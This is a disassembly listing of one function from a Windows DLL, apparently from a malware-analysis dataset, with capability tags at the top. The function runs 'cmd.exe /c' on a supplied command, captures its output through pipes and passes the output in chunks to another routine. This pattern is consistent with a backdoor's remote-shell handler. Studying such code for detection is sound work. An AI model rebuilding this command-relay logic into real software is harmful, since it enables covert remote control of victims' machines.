Function at 0x18000f094
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
lea rbp, [rsp - 0xb10]
sub rsp, 0xc10
mov rax, qword [0x18004e5f0]
xor rax, rsp
mov qword [rbp + 0xb00], rax
xor r12d, r12d
mov rsi, rdx
mov rdi, rcx
cmp byte [rcx + 0xf4c0], r12b
jne 0x18000f0db
xor al, al
jmp 0x18000f39f
lea rcx, [rbp + 0x711]
xor edx, edx
mov r8d, 0x3e8
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x58], r12
mov byte [rbp + 0x710], r12b
call fcn.180019880
xor eax, eax
lea rcx, [rbp + 0x131]
xor edx, edx
mov r8d, 0x5db
mov dword [rsp + 0x50], r12d
mov byte [rbp + 0x130], r12b
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
call fcn.180019880
lea rdx, str.1__s_
lea rcx, [rbp + 0x130]
mov r8, rsi
mov dword [rbp - 0x78], 1
mov qword [rbp - 0x80], r12
mov dword [rsp + 0x78], 0x18
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x58]
xor r9d, r9d
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x18000f1a4
lea rdx, [0x18003f940]
lea rcx, [rbp + 0x130]
call fcn.180019f40
lea rcx, [rbp + 0x130]
call fcn.18001b8d0
lea r9d, [rax + 1]
jmp 0x18000f38b
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x68]
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x18000f17c
xor edx, edx
lea rcx, [rbp - 0x70]
lea r8d, [rdx + 0x18]
call fcn.180019880
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rsp + 0x68]
lea rcx, [rbp + 0x21]
mov qword [rbp], rax
mov rax, qword [rsp + 0x60]
xor edx, edx
mov r8d, 0x103
mov dword [rbp - 0x50], 0x68
mov dword [rbp - 0x14], 0x101
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
mov word [rbp - 0x10], r12w
mov byte [rbp + 0x20], r12b
call fcn.180019880
lea rdx, str.cmd.exe__c___s_
lea rcx, [rbp + 0x20]
mov r8, rsi
call fcn.18001e530
lea r11, [rbp - 0x70]
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea rdx, [rbp + 0x20]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18000f17c
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000f313
mov eax, dword [rsp + 0x50]
lea rcx, [rbp + 0x710]
mov byte [rbp + rax + 0x710], r12b
call fcn.18001b8d0
movsxd rcx, ebx
add rax, rcx
cmp rax, 0x4b0
jb 0x18000f2f2
inc ebx
lea r8, [rbp + 0x130]
mov edx, 0x10
mov r9d, ebx
mov rcx, rdi
call fcn.18000e9c0
test al, al
je 0x18000f33d
mov ecx, 0x14
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x18003f92c]
lea rcx, [rbp + 0x130]
mov r8, rsi
call qword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0x130]
call fcn.180019f40
lea rcx, [rbp + 0x710]
call fcn.18001b8d0
add ebx, eax
mov rcx, qword [rsp + 0x58]
lea r9, [rsp + 0x50]
lea rdx, [rbp + 0x710]
mov r8d, 0x3e9
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x18000f28b
mov rcx, qword [rbp - 0x70]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x18003f928]
lea rcx, [rbp + 0x130]
call fcn.180019f40
lea r9d, [rbx + 3]
lea r8, [rbp + 0x130]
mov edx, 0x10
mov rcx, rdi
call fcn.18000e9c0
mov rcx, qword [rbp + 0xb00]
xor rcx, rsp
call fcn.180019850
lea r11, [rsp + 0xc10]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret